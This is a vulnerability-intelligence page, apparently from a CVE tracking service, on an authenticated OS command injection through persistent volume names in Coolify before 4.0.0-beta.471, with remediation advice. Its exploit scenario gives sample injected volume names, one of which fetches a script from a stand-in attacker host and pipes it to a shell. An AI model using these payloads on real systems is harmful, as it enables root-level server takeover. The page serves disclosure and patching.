Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as Coolify member
-
DeliveryCreate volume with malicious name
-
ExploitTrigger volume operation
-
ExecutionShell metacharacters interpolated unescaped
-
PersistInjected command runs as root
-
ImpactFull server compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Coolify member account (CVSS PR:L) that can set or influence a persistent volume name, and the injected payload only fires when a volume operation is triggered on a managed server - the specific feature is user-controlled persistent volume names being interpolated into shell commands without escaping. No user interaction and no special non-default configuration are needed beyond having managed servers with volume operations in use. The principal limiting factor is the authentication requirement: an anonymous internet attacker cannot exploit this directly, so realistic risk is confined to deployments that grant member accounts to less-trusted users (teams, multi-tenant, or client-facing installs); single-operator instances are far less exposed. |
| Impact | The signals are broadly consistent and point to a genuine priority for anyone running Coolify with multiple or semi-trusted members. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 8.8) indicates remote, low-complexity exploitation needing only an authenticated member account and no user interaction, with full confidentiality/integrity/availability impact - and the real-world impact is arguably understated by S:U, since a low-privileged app member gains root on managed infrastructure. Mitigating the urgency: this is NOT in CISA KEV and there is no public POC referenced, so it is 'no public exploit identified at time of analysis' rather than actively exploited; EPSS was not provided. SSVC-style reasoning: exploitation is technically simple and the technical impact is total (root RCE), but it is gated behind holding a valid member account, so it is not exploitable by a fully anonymous internet attacker. The main uncertainty is the trust level of 'member' accounts in a given deployment - solo self-hosters face little risk, whereas multi-tenant or team installations should treat this as high priority. |
| Exploit ScenarioDerived | An authenticated Coolify member with permission to define a persistent volume creates one named something like myvol$(id>/tm/pwned) or myvol;curl attacker.sh|sh; when a normal volume operation is later triggered, Coolify interpolates the name into a shell command and executes the injected payload as root on the managed server. No public POC is referenced, but the low attack complexity and no-user-interaction vector make reliable exploitation straightforward for any member. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 07, 2026
OS command injection in Coolify (self-hosted server/application/database management platform) versions prior to 4.0.0-beta.471 allows an authenticated low-privileged member to run arbitrary commands as root on managed servers by embedding shell metacharacters in persistent volume names, which are interpolated unescaped into shell commands during volume operations. The CVSS 3.1 score is 8.8 (High) with a network vector requiring only low privileges. No public exploit identified at time of analysis; an upstream fix commit and a tagged patched release exist.
RemediationAI
Upgrade to the vendor-released patched version 4.0.0-beta.471 or later (fix commit d2064dd4998694cda2eabd00149f7c4d1e94c699), per advisory GHSA-6pmw-6m96-4v4m (https://github.com/coollabsio/coolify/security/advisories/GHSA-6pmw-6m96-4v4m) and release https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471. If you cannot patch immediately, reduce exposure by restricting who holds member accounts and removing untrusted or unnecessary team members, since exploitation requires an authenticated member - the trade-off is reduced collaboration. As an interim control, avoid creating or modifying persistent volumes through affected accounts and audit existing volume names for shell metacharacters, and place the Coolify dashboard behind network restrictions (VPN/allow-listed IPs) so only trusted operators can reach the UI/API; note these are stopgaps that do not fix the underlying unescaped interpolation and should not substitute for upgrading.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Coolify is an open-source, self-hostable Platform-as-a-Service (a Heroku/Netlify alternative) that orchestrates Docker containers, applications, and databases across one or more managed servers, typically issuing commands over SSH with root-level privileges on those targets. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): user-supplied persistent volume names are concatenated directly into shell command strings (e.g. docker volume operations) without escaping or allow-list validation, so metacharacters such as ;, |, $(), backticks, or & break out of the intended argument and are executed by the shell. The single affected product is coollabsio/coolify (CPE cpe:2.3:a:coollabsio:coolify), and because volume operations run in Coolify's privileged execution context, injected commands run as root on the managed host.
Know when Coolify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable UI/API with low-complexity injection needing an authenticated member (PR:L), no user interaction, yielding root command execution for full C/I/A impact; scope kept U to match the vulnerable managed host.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, user-controlled persistent volume names are interpolated into shell commands executed on managed servers without escaping or validation, allowing an authenticated member to inject shell metacharacters and execute commands as root when volume operations are triggered. This issue appears to be fixed in version 4.0.0-beta.471.
Executive ViewAI
Coolify, a self-hosted infrastructure management platform, contains a privilege escalation vulnerability affecting versions prior to 4.0.0-beta.471 that allows authenticated low-privileged members to execute arbitrary commands with root privileges on managed servers. Organizations using Coolify with multi-user or delegated administration models face direct risk of infrastructure takeover through insider compromise or credential misuse. Immediate patching is required to prevent unauthorized control of production systems and data access.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in Coolify Command Injection and CSRF Vulnerabilities
View all 5Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,
Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo
Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d
Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute
Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.
Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic
Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via
Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo
Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi
Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg
Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss
Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica
EUVD-2026-41993
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB